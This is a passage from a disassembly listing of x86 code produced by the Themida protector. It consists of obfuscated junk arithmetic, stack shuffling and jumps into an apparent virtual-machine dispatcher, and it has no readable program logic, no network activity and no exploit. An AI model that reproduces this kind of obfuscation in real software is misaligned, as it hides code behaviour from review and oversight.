		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		add	ebp, edi
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_563F9D
; ---------------------------------------------------------------------------


loc_571B9B:				; CODE XREF: sub_56207C+974Aj
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_55F349
; ---------------------------------------------------------------------------


loc_571BA8:				; CODE XREF: sub_56207C-D16j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 1A3E4695h
		shr	ebp, 6
		jmp	loc_571DF1
; ---------------------------------------------------------------------------


loc_571BBE:				; CODE XREF: sub_56207C+7ABj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_571BC3:				; CODE XREF: sub_56207C+754Fj
		pop	edx
		pop	ecx
		and	ecx, edx
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		pop	edx
		push	5986h
		mov	[esp+20h+var_20], edi
		mov	edi, esp
		jmp	loc_5626E3
; ---------------------------------------------------------------------------


loc_571BDD:				; CODE XREF: sub_56207C+DCC2j
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_569883
; ---------------------------------------------------------------------------


loc_571BEF:				; CODE XREF: sub_56207C+38E9j
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5665F7
; ---------------------------------------------------------------------------


loc_571BFE:				; CODE XREF: sub_56207C+10E23j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+28h+var_28]
		jmp	loc_572E57
; ---------------------------------------------------------------------------


loc_571C0F:				; CODE XREF: sub_56207C+9F87j
		mov	esp, [esp+34h+var_34]
		jmp	loc_56828D
; ---------------------------------------------------------------------------


loc_571C17:				; CODE XREF: sub_55F19C+Aj
		push	eax
		push	edx
		jmp	loc_572B73
; ---------------------------------------------------------------------------


loc_571C1E:				; CODE XREF: sub_56207C+5669j
		shr	eax, 12h
		xor	eax, ecx
		push	1529h
		mov	[esp+32h+var_34+2], eax
		push	ebx
		push	[esp+36h+var_34+2]
		push	[esp+3Ah+var_3C+2]
		jmp	loc_570EFD
; ---------------------------------------------------------------------------


loc_571C38:				; CODE XREF: sub_56207C+6CCBj
		mov	[esp+10h+var_10], ebx
		mov	bh, 0CCh
		jmp	loc_566E93
; ---------------------------------------------------------------------------


loc_571C42:				; CODE XREF: sub_56207C+E09Ej
		xor	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], ecx
		push	ebp
		mov	ebp, 25860603h
		and	ebp, 7E832060h
		jmp	loc_56FAB8
; ---------------------------------------------------------------------------


loc_571C5C:				; CODE XREF: sub_56207C+1224j
		add	[esp+8+var_8], eax
		add	[esp+8+var_8], 2D033A89h
		jmp	loc_56EF69
; ---------------------------------------------------------------------------


loc_571C6B:				; CODE XREF: sub_56207C+D04Ej
		push	esi
		mov	esi, 61E50326h
		sub	esi, 2DC20448h
		inc	esi
		push	ebp
		mov	ebp, 602D3C7Dh
		sub	ebp, 1
		xor	ebp, 73F36D90h
		and	esi, ebp
		pop	ebp
		or	esi, 5CD4575Eh
		or	esi, 727A1174h
		sub	esi, 716034C8h
		add	ebp, esi
		pop	esi
		dec	ebp
		sub	ebp, 91A7AC5Fh
		sub	esi, ebp
		mov	ebp, [esp+46h+var_48+2]
		add	esp, 4
		or	esi, 28141AE2h
		xor	esi, 2C5E3FE6h
		jmp	loc_5657A8
; ---------------------------------------------------------------------------


loc_571CC5:				; CODE XREF: sub_56207C+4F23j
		add	ch, 0EBh
		add	ch, 35h
		sub	bl, ch
		pop	ecx
		pop	eax
		movzx	eax, al
		jmp	loc_56836E
; ---------------------------------------------------------------------------


loc_571CD7:				; CODE XREF: sub_56207C+5AF6j
		sub	ebx, 8000Dh
		jmp	loc_56575A
; ---------------------------------------------------------------------------


loc_571CE2:				; CODE XREF: sub_56207C-1BDEj
		mov	[esp+28h+var_28], ebp
		mov	ebp, 85DB32FCh
		sub	edi, ebp
		pop	ebp
		add	eax, edi
		mov	edi, [esp+24h+var_24]
		jmp	loc_5658D6
; ---------------------------------------------------------------------------


loc_571CF7:				; DATA XREF: Themida_:0055E2C0o
		push	dword ptr [edi+2Ch]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_571CFF:				; DATA XREF: Themida_:0055E0F0o
		push	[esp+28h+var_28]
		pop	ecx
		push	ebp
		jmp	loc_56800B
; ---------------------------------------------------------------------------


loc_571D09:				; CODE XREF: sub_56207C+3DAEj
		push	esi
		jmp	loc_56E75F
; ---------------------------------------------------------------------------


loc_571D0F:				; CODE XREF: sub_56207C+140Dj
		push	eax
		jmp	loc_56008A
; ---------------------------------------------------------------------------


loc_571D15:				; CODE XREF: sub_56207C-2CF8j
		xor	ebx, ecx
		pop	ecx
		add	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 0A9732D62h
		add	edi, edx
		jmp	loc_562DCA
; ---------------------------------------------------------------------------


loc_571D28:				; CODE XREF: sub_56207C-2229j
		add	[esp+28h+var_28], 4
		pop	edi
		push	ebx
		jmp	loc_55E8ED
; ---------------------------------------------------------------------------


loc_571D33:				; CODE XREF: sub_56207C+D1C2j
		add	[esp+1Ch+var_1C], 4
		pop	ebp
		push	18ACh
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 619B66DFh
		push	ebx
		jmp	loc_560D4C
; ---------------------------------------------------------------------------


loc_571D4B:				; CODE XREF: sub_56207C+DB53j
		xor	[esp+6+var_8+2], ebp
		xor	ebp, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_572085
; ---------------------------------------------------------------------------


loc_571D59:				; CODE XREF: sub_56207C+2DABj
		pop	eax
		sub	eax, 2FD52D29h
		pop	ebp
		sub	ebx, 2DD67D2Ah
		jmp	loc_56C733
; ---------------------------------------------------------------------------


loc_571D6B:				; CODE XREF: sub_55F619+Bj
		neg	bh
		xor	bh, 0E6h
		mov	ch, bh
		pop	ebx
		sub	al, 9Ah
		add	al, ch
		add	al, 9Ah
		pop	cx
		jmp	loc_56EEA3
; ---------------------------------------------------------------------------


loc_571D80:				; CODE XREF: sub_56207C+9542j
		mov	ebp, 209763E0h
		shr	ebp, 1
		jmp	loc_56E9B2
; ---------------------------------------------------------------------------


loc_571D8C:				; CODE XREF: sub_56207C+277j
		pop	eax
		pop	edi
		jmp	loc_560400
; ---------------------------------------------------------------------------


loc_571D93:				; CODE XREF: sub_56207C+BDB7j
		or	esi, ebx
		pop	ebx
		and	esi, 2A392F8Eh
		add	esi, 3B462074h
		jmp	loc_561B61
; ---------------------------------------------------------------------------


loc_571DA7:				; CODE XREF: sub_56207C-1A67j
		add	cl, dl
		jmp	loc_570EF7
; ---------------------------------------------------------------------------


loc_571DAE:				; CODE XREF: sub_56207C-1EDAj
		or	eax, eax
		jz	loc_566A78
		push	ebp
		push	edx
		mov	edx, esp
		jmp	loc_562052
; ---------------------------------------------------------------------------


loc_571DBF:				; CODE XREF: sub_56207C+4E12j
		mov	edi, 3A66315Ch
		mov	ecx, edi
		push	[esp+18h+var_18]
		pop	edi
		add	esp, 4
		and	ecx, 69BA5CC7h
		xor	ecx, 3953358Fh
		xor	edx, ecx
		pop	ecx
		push	edx
		neg	[esp+14h+var_14]
		jmp	loc_56A8FC
; ---------------------------------------------------------------------------


loc_571DE5:				; CODE XREF: sub_56207C+5114j
		mov	dx, word ptr [esp+1Ch+var_1C]
		add	esp, 2
		jmp	loc_56B27F
; ---------------------------------------------------------------------------


loc_571DF1:				; CODE XREF: sub_56207C+FB3Dj
		sub	ebp, 34DC20A9h
		jmp	loc_55FCE3
; ---------------------------------------------------------------------------


loc_571DFC:				; CODE XREF: sub_56207C+106E6j
		add	eax, 9D5E13A7h
		add	esi, eax
		pop	eax
		push	ecx
		jmp	loc_562EFD
; ---------------------------------------------------------------------------


loc_571E0A:				; CODE XREF: sub_56207C+86CEj
		mov	[esp+14h+var_14], edx
		mov	edx, 4B125902h
		mov	edi, 4B125906h
		add	edi, 6E14412Bh
		sub	edi, edx
		sub	edi, 6E14412Bh
		pop	edx
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	[esp+10h+var_C]
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		push	[esp+0Ch+var_C]
		jmp	loc_562656
; ---------------------------------------------------------------------------


loc_571E45:				; CODE XREF: sub_56207C+E118j
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 465324FBh
		mov	ebx, 0F94041B7h
		add	ebx, ebp
		pop	ebp
		sub	edx, ebx
		jmp	loc_56EC42
; ---------------------------------------------------------------------------


loc_571E5F:				; CODE XREF: sub_56207C+E645j
		add	edi, 37811F0Dh
		jmp	loc_56AFC6
; ---------------------------------------------------------------------------


loc_571E6A:				; CODE XREF: sub_56207C+6F3Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+1Ah+var_18+2]
		pop	edx
		jmp	loc_56DD12
; ---------------------------------------------------------------------------


loc_571E81:				; CODE XREF: sub_56207C-3C1Aj
		shr	edx, 2
		jmp	loc_56DDC9
; ---------------------------------------------------------------------------


loc_571E89:				; CODE XREF: sub_56207C+9521j
		push	ecx
		push	esp
		jmp	loc_56C620
; ---------------------------------------------------------------------------


loc_571E90:				; CODE XREF: sub_56207C-FDj
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		sub	eax, ebx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		jmp	loc_56930E
; ---------------------------------------------------------------------------


loc_571EA9:				; CODE XREF: sub_56207C-2D0Ej
		mov	[esp+1Eh+var_20+2], edx
		mov	dl, ah
		jmp	loc_56A3EE
; ---------------------------------------------------------------------------


loc_571EB3:				; CODE XREF: sub_5601F7+4j
		push	585Dh
		jmp	loc_560982
; ---------------------------------------------------------------------------


loc_571EBD:				; CODE XREF: sub_56207C+CFE6j
		sub	ecx, 619B6F80h
		pop	edx
		sub	ecx, 4
		xor	ecx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], ecx
		xor	ecx, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_56C2D1
; ---------------------------------------------------------------------------


loc_571ED9:				; CODE XREF: sub_56207C+5915j
		pop	eax
		jmp	loc_56E48C
; ---------------------------------------------------------------------------


loc_571EDF:				; CODE XREF: sub_56207C+8336j
		add	al, dh
		mov	dx, word ptr [esp+20h+var_20]
		add	esp, 2
		add	bl, 19h
		sub	bl, 45h
		add	bl, 6Ah
		add	bl, al
		sub	bl, 6Ah
		jmp	loc_56C556
; ---------------------------------------------------------------------------


loc_571EFE:				; CODE XREF: sub_56207C+DBC0j
		add	ebp, 0E5D3293h
		add	ebx, ebp
		pop	ebp
		add	ebx, edx
		sub	ebx, 326A32DCh
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		push	esi
		jmp	loc_55F433
; ---------------------------------------------------------------------------


loc_571F1B:				; DATA XREF: Themida_:0055E308o
		push	7D29h
		mov	[esp+0Eh+var_10+2], ebp
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebx
		push	edx
		mov	edx, 42552158h
		shr	edx, 4
		add	edx, 5ECCB126h
		jmp	loc_567443
; ---------------------------------------------------------------------------


loc_571F3D:				; CODE XREF: sub_56207C-26C1j
		mov	esp, [esp-0Ah+arg_4+2]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_571F45:				; CODE XREF: sub_56207C+6A75j
		pop	edi
		jmp	loc_565937
; ---------------------------------------------------------------------------


loc_571F4B:				; CODE XREF: sub_56207C+53D2j
		pop	ax
		jmp	loc_5697BC
; ---------------------------------------------------------------------------


loc_571F52:				; DATA XREF: Themida_:0055E1ECo
		mov	ax, word ptr [esp+6Ah+var_6C+2]
		push	7D71h
		jmp	loc_5706F7
; ---------------------------------------------------------------------------


loc_571F60:				; CODE XREF: sub_56207C+7B71j
		and	bl, 0BDh
		push	eax
		mov	ah, 80h
		jmp	loc_55EE18
; ---------------------------------------------------------------------------


loc_571F6B:				; CODE XREF: sub_56207C+828Bj
		xchg	ebp, ebx
		inc	ebp
		xchg	ebp, ebx
		not	ebx
		push	edx
		jmp	loc_5644FC
; ---------------------------------------------------------------------------


loc_571F78:				; CODE XREF: sub_56207C+51E4j
		push	[esp+20h+var_20]
		jmp	loc_55F155
; ---------------------------------------------------------------------------


loc_571F80:				; CODE XREF: sub_56207C+11596j
		push	esi
		push	[esp+28h+var_24]
		jmp	loc_56B008
; ---------------------------------------------------------------------------


loc_571F8A:				; CODE XREF: sub_56207C-2BD9j
		push	eax
		mov	eax, 0D957EFE1h
		jmp	loc_561528
; ---------------------------------------------------------------------------


loc_571F95:				; CODE XREF: sub_56207C-5C6j
		xor	esi, 8E74BFCh
		add	esi, 0A507CE4Ch
		mov	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		pop	esp
		add	edx, ecx
		pop	ecx
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		push	[esp+14h+var_14]
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_566A72
; ---------------------------------------------------------------------------


loc_571FDF:				; CODE XREF: sub_56207C+C389j
		shr	eax, 2
		sub	eax, 0D845E8Dh
		push	eax
		push	ebx
		mov	ebx, 626A6F67h
		xor	[esp+30h+var_2C], ebx
		pop	ebx
		pop	edx
		xor	edx, 626A6F67h
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_561F84
; ---------------------------------------------------------------------------


loc_572008:				; CODE XREF: sub_56207C+3DCFj
		push	[esp+22h+var_24+2]
		push	[esp+26h+var_28+2]
		jmp	loc_563590
; ---------------------------------------------------------------------------


loc_572013:				; CODE XREF: sub_56207C+D74Aj
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		push	58D1h
		jmp	loc_57210E
; ---------------------------------------------------------------------------


loc_572026:				; CODE XREF: sub_56207C+F3FFj
		pop	eax
		sub	[esp+18h+var_10], edi
		sub	[esp+18h+var_10], 77B83343h
		pop	edi
		sub	[esp+14h+var_10], esi
		jmp	loc_562FDF
; ---------------------------------------------------------------------------


loc_57203D:				; CODE XREF: sub_56207C+8F3Fj
		push	ebx
		sub	esp, 4
		mov	[esp+38h+var_38], edx
		jmp	sub_55ED7B
; ---------------------------------------------------------------------------


loc_572049:				; DATA XREF: Themida_:0055E124o
		mov	cx, word ptr [esp+38h+var_38]
		push	68D5h
		mov	[esp+3Ch+var_3C], edi
		sub	esp, 4
		mov	[esp+40h+var_40], esp
		add	[esp+40h+var_40], 4
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 6FB021A0h
		or	esi, 26157D82h
		add	esi, 904A8262h
		add	eax, esi
		jmp	loc_5735B7
; ---------------------------------------------------------------------------


loc_572085:				; CODE XREF: sub_56207C+FCD8j
		push	[esp+6+var_8+2]
		mov	edx, [esp+0Ah+var_C+2]
		jmp	loc_55F6EF
; ---------------------------------------------------------------------------


loc_572090:				; CODE XREF: sub_56207C+3D43j
		mov	ebp, 33A41243h
		inc	ebp
		inc	ebp
		xor	ebp, 24EE7B2Eh
		xor	ebp, 52F42CC2h
		shl	ebp, 8
		jmp	loc_566EE8
; ---------------------------------------------------------------------------


loc_5720AB:				; CODE XREF: sub_56207C+E248j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+22h+var_24+2]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5606A4
; ---------------------------------------------------------------------------


loc_5720CB:				; CODE XREF: sub_56207C+56B7j
		mov	esp, [esp+14h+var_14]
		bts	word ptr [esp+14h+var_14], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5720D9:				; CODE XREF: sub_56207C+10A92j
		add	esi, 59F46F8Bh
		push	1462h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, esi
		mov	ecx, ebx
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		pop	esi
		jmp	loc_56A03C
; ---------------------------------------------------------------------------


loc_5720F8:				; CODE XREF: sub_56207C+403Cj
		push	[esp+10h+var_C]
		pop	ebx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572108:				; CODE XREF: sub_56207C+C268j
		push	eax
		jmp	loc_569C6D
; ---------------------------------------------------------------------------


loc_57210E:				; CODE XREF: sub_56207C+FFA5j
		mov	[esp+22h+var_24+2], edi
		jmp	loc_573060
; ---------------------------------------------------------------------------


loc_572116:				; CODE XREF: sub_56207C+9653j
		push	ebp
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		mov	edx, 0F76AD481h
		jmp	loc_56B565
; ---------------------------------------------------------------------------


loc_572127:				; CODE XREF: sub_56207C+746Cj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_57212C:				; CODE XREF: sub_56207C+BCF8j
		mov	esi, 654B7C24h
		add	eax, esi
		jmp	loc_562977
; ---------------------------------------------------------------------------


loc_572138:				; CODE XREF: sub_56207C-CC7j
		mov	eax, 0
		sub	eax, ebp
		push	eax
		jmp	loc_56E00C
; ---------------------------------------------------------------------------


loc_572145:				; CODE XREF: sub_56207C+51A1j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		push	ebx
		mov	ebx, 1A95111Eh
		push	edi
		mov	edi, ebx
		mov	eax, edi
		pop	edi
		jmp	loc_56B10C
; ---------------------------------------------------------------------------


loc_57215F:				; CODE XREF: sub_56207C-187Cj
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		add	ecx, 1C12BEEh
		add	ecx, eax
		jmp	loc_565364
; ---------------------------------------------------------------------------


loc_572172:				; CODE XREF: sub_56207C-22AEj
		add	ecx, ebx
		pop	ebx
		push	esi
		push	ebp
		push	67Eh
		jmp	loc_570B41
; ---------------------------------------------------------------------------


loc_572181:				; CODE XREF: sub_56207C-19DDj
		push	[esp+2Ch+var_2C]
		pop	ebp
		push	ebx
		push	37C1h
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		pop	ebx
		jmp	loc_55FA0A
; ---------------------------------------------------------------------------


loc_57219B:				; CODE XREF: sub_56207C+10EDj
		push	edx
		jmp	loc_560BE0
; ---------------------------------------------------------------------------


loc_5721A1:				; CODE XREF: sub_56207C+CFBEj
		or	ebp, edx
		pop	edx
		add	ebp, 359E61B1h
		push	edx
		jmp	loc_569F9E
; ---------------------------------------------------------------------------


loc_5721B0:				; CODE XREF: sub_56207C+6B25j
		add	esi, ebp
		jmp	loc_566B37
; ---------------------------------------------------------------------------


loc_5721B7:				; CODE XREF: sub_56207C+ADEDj
		mov	cl, ah
		pop	eax
		jmp	loc_55E78D
; ---------------------------------------------------------------------------


loc_5721BF:				; CODE XREF: sub_56207C+89B9j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], edx
		jmp	loc_565C31
; ---------------------------------------------------------------------------


loc_5721D6:				; CODE XREF: sub_56207C+4B37j
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_56AC8D
; ---------------------------------------------------------------------------


loc_5721E8:				; CODE XREF: sub_56207C-F5Fj
		mov	[esp+34h+var_34], edi
		push	[esp+34h+var_30]
		jmp	loc_562D2E
; ---------------------------------------------------------------------------


loc_5721F4:				; CODE XREF: sub_56207C-1A1Aj
		pop	edx
		mov	edx, [esp+30h+var_30]
		jmp	loc_561A5A
; ---------------------------------------------------------------------------


loc_5721FD:				; CODE XREF: sub_56207C-31EEj
		push	3AD4h
		jmp	loc_57106F
; ---------------------------------------------------------------------------


loc_572207:				; CODE XREF: sub_56207C+E027j
		mov	al, dl
		mov	bl, al
		pop	eax
		jmp	loc_564E6C
; ---------------------------------------------------------------------------


loc_572211:				; CODE XREF: sub_56207C+2B4Cj
		add	esi, eax
		push	edx
		jmp	loc_567ED7
; ---------------------------------------------------------------------------


loc_572219:				; CODE XREF: sub_56207C-197Bj
		add	eax, 4
		jmp	loc_56D64F
; ---------------------------------------------------------------------------


loc_572223:				; CODE XREF: sub_56207C+A864j
		mov	ecx, 2
		sub	edx, 72C00B20h
		add	edx, ecx
		add	edx, 72C00B20h
		pop	ecx
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		test	cx, ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_57224C:				; CODE XREF: sub_56207C+3194j
		sub	esp, 2
		mov	word ptr [esp+32h+var_34+2], dx
		mov	dl, 0B8h
		sub	al, dl
		pop	dx
		add	al, 59h
		sub	al, bl
		push	ebx
		push	ecx
		mov	cl, 0E0h
		sub	cl, 7Bh
		and	cl, 3Fh
		jmp	loc_56155D
; ---------------------------------------------------------------------------


loc_57226C:				; CODE XREF: sub_56207C-181Dj
		not	bl
		mov	dl, bl
		pop	bx
		not	dl
		jmp	loc_569646
; ---------------------------------------------------------------------------


loc_572279:				; CODE XREF: sub_56207C+EECj
		shr	bh, 6
		shr	bh, 8
		sub	bh, 0BAh
		jmp	loc_56C906
; ---------------------------------------------------------------------------


loc_572287:				; CODE XREF: sub_56207C+E39Fj
		add	esp, 4
		push	ecx
		mov	ecx, 6A801EA2h
		xor	ecx, 6A801EA6h
		push	ebx
		mov	ebx, 0CE25B91h
		xor	ebx, 58CB42E1h
		jmp	loc_5673C9
; ---------------------------------------------------------------------------


loc_5722A7:				; CODE XREF: sub_56207C+96DCj
		pop	[esp+6Ch+var_6C]
		pop	esp
		mov	[esp+64h+var_64], edi
		mov	edi, 76512516h
		jmp	loc_560BE8
; ---------------------------------------------------------------------------


loc_5722B8:				; CODE XREF: Themida_:005607A9j
		push	2D5Ah
		mov	[esp+68h+var_68], ecx
		sub	esp, 4
		jmp	loc_565B5C
; ---------------------------------------------------------------------------


loc_5722CB:				; CODE XREF: sub_56207C+76A7j
		pop	eax
		xor	esi, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], esi
		xor	esi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		push	esi
		jmp	loc_561945
; ---------------------------------------------------------------------------


loc_5722E7:				; CODE XREF: sub_56207C+10680j
		pop	ebx
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		mov	ebp, [esp+1Eh+var_20+2]
		add	esp, 4
		push	168Bh
		jmp	loc_56F8BB
; ---------------------------------------------------------------------------


loc_572301:				; CODE XREF: sub_56207C+DE61j
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebp
		push	15E6h
		mov	[esp+2Eh+var_30+2], esp
		push	edi
		jmp	loc_56A481
; ---------------------------------------------------------------------------


loc_572316:				; CODE XREF: sub_56207C+913Fj
		push	3CD5000Bh
		push	[esp+12h+var_14+2]
		pop	ebp
		push	ebp
		jmp	loc_56D574
; ---------------------------------------------------------------------------


loc_572325:				; CODE XREF: sub_56207C+1137Fj
		push	ecx
		jmp	loc_5610B1
; ---------------------------------------------------------------------------


loc_57232B:				; CODE XREF: sub_55EED5+9j
		mov	[esp+1Ah+var_1C+2], edi
		push	4F68h
		jmp	loc_567244
; ---------------------------------------------------------------------------


loc_572338:				; CODE XREF: sub_56207C-2909j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edi
		push	esi
		mov	esi, 50F603F9h
		push	50F603FBh
		pop	edi
		jmp	loc_56878B
; ---------------------------------------------------------------------------


loc_57234F:				; CODE XREF: sub_56207C-2DADj
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		and	[edi+1Ch], ebp
		jmp	loc_55E73E
; ---------------------------------------------------------------------------


loc_57235D:				; CODE XREF: sub_56207C+8157j
		push	esi
		mov	esi, 2AB2406Dh
		jmp	loc_56A61D
; ---------------------------------------------------------------------------


loc_572368:				; CODE XREF: sub_56207C+731Dj
		pop	ecx
		mov	ebx, [esp+10h+var_10]
		jmp	loc_5618AB
; ---------------------------------------------------------------------------


loc_572371:				; CODE XREF: sub_56207C+2167j
		push	esi
		mov	esi, 0D228D878h
		jmp	loc_571B6F
; ---------------------------------------------------------------------------


loc_57237C:				; CODE XREF: sub_56207C+10ED8j
		mov	esi, 79A5139Eh
		shr	esi, 8
		add	esi, 0FF865AF1h
		jmp	loc_572629
; ---------------------------------------------------------------------------


loc_57238F:				; CODE XREF: sub_56207C+2D43j
		pop	edx
		sub	edx, eax
		pop	eax
		add	edx, 0AD8BA62Ch
		sub	ebp, 4DC6569Bh
		add	ebp, edx
		add	ebp, 4DC6569Bh
		jmp	loc_55F1AB
; ---------------------------------------------------------------------------


loc_5723AC:				; CODE XREF: sub_56207C+1ADBj
		neg	edi
		inc	edi
		inc	edi
		add	edi, 588D6C45h
		jmp	loc_5638BA
; ---------------------------------------------------------------------------


loc_5723BB:				; CODE XREF: sub_56207C+627Aj
		push	eax
		xchg	ecx, [esp+2Ch+var_2C]
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		jmp	loc_5626FA
; ---------------------------------------------------------------------------


loc_5723CA:				; CODE XREF: sub_56207C+97F5j
		sub	ebx, 73B87B79h
		push	eax
		mov	eax, 0
		add	eax, ebx
		mov	ecx, [eax]
		mov	eax, [esp+18h+var_18]
		jmp	loc_55EF2E
; ---------------------------------------------------------------------------


loc_5723E2:				; CODE XREF: sub_56207C-519j
		mov	esi, [esp+12h+var_14+2]
		jmp	sub_560EF0
; ---------------------------------------------------------------------------


loc_5723EA:				; CODE XREF: sub_56207C+CD46j
		mov	edx, [esp+1Ah+var_1C+2]
		jmp	loc_55F813
; ---------------------------------------------------------------------------


loc_5723F2:				; CODE XREF: sub_56207C+1055Fj
		xchg	ebp, edi
		inc	ebp
		jmp	loc_56098A
; ---------------------------------------------------------------------------


loc_5723FA:				; DATA XREF: Themida_:0055E108o
		neg	word ptr [esp+1Ah+var_1C+2]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_572404:				; CODE XREF: sub_56207C+E935j
		push	esp
		mov	ebx, [esp+34h+var_34]
		jmp	loc_5644F1
; ---------------------------------------------------------------------------


loc_57240D:				; CODE XREF: sub_56207C+D52Cj
		dec	edx
		inc	edx
		push	edi
		push	edx
		mov	edx, 0AFA9D59Fh
		mov	edi, edx
		pop	edx
		xor	edx, edi
		pop	edi
		jmp	loc_56ADB8
; ---------------------------------------------------------------------------


loc_572421:				; CODE XREF: sub_56207C-5AAj
		mov	ebp, [esp+1Eh+var_20+2]
		jmp	loc_56DC93
; ---------------------------------------------------------------------------


loc_572429:				; CODE XREF: sub_56207C+CB9Cj
		push	ebp
		mov	ebp, 51397BBDh
		sub	ebp, 0FBAA2E3Ah
		add	edx, 1C2B33DBh
		add	edx, ebp
		jmp	loc_5727A0
; ---------------------------------------------------------------------------


loc_572442:				; CODE XREF: sub_56207C+2E4Cj
		and	edx, edi
		pop	edi
		inc	edx
		jmp	loc_566C36
; ---------------------------------------------------------------------------


loc_57244B:				; CODE XREF: sub_56207C+D8BAj
		pop	edx
		add	esp, 4
		add	al, ch
		mov	cx, word ptr [esp+0Eh+var_10+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 2
		jmp	loc_56875A
; ---------------------------------------------------------------------------


loc_57246C:				; CODE XREF: sub_56207C+A0DCj
		mov	ecx, [esp+44h+var_44]
		push	eax
		push	3244h
		mov	[esp+4Ch+var_4C], esp
		push	ebx
		mov	ebx, 4
		add	[esp+50h+var_4C], ebx
		pop	ebx
		jmp	loc_56EED2
; ---------------------------------------------------------------------------


loc_572488:				; CODE XREF: sub_56207C+1A9Ej
		push	esp
		pop	eax
		push	6A9Bh
		mov	[esp+14h+var_14], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+14h+var_14]
		jmp	loc_570775
; ---------------------------------------------------------------------------


loc_5724B6:				; CODE XREF: sub_56207C+F49Dj
		push	2D90h
		push	esp
		jmp	loc_56E775
; ---------------------------------------------------------------------------


loc_5724C1:				; CODE XREF: sub_56207C+4250j
		pop	esi
		sub	ebp, 6FA5044Bh
		mov	ecx, ebp
		push	[esp-10h+arg_C]
		push	[esp-0Ch+arg_8]
		pop	ebp
		jmp	loc_5628A2
; ---------------------------------------------------------------------------


loc_5724D6:				; CODE XREF: sub_56207C+D9A1j
		push	eax
		mov	eax, 1D7A00ADh
		xor	eax, 6DFE5762h
		jmp	loc_561064
; ---------------------------------------------------------------------------


loc_5724E6:				; CODE XREF: sub_56207C+C7BDj
		sub	eax, 774869DEh
		xchg	eax, edx
		jmp	loc_566C8E
; ---------------------------------------------------------------------------


loc_5724F1:				; CODE XREF: sub_56207C+39F2j
		sub	esi, 0B27A7B25h
		add	eax, esi
		pop	esi
		jmp	loc_55F7C1
; ---------------------------------------------------------------------------


loc_5724FF:				; CODE XREF: sub_56207C+AE6Aj
		mov	[esp+42h+var_44+2], esi
		jmp	loc_568F59
; ---------------------------------------------------------------------------


loc_572507:				; CODE XREF: sub_56207C+19CAj
		mov	cl, ah
		mov	dh, cl
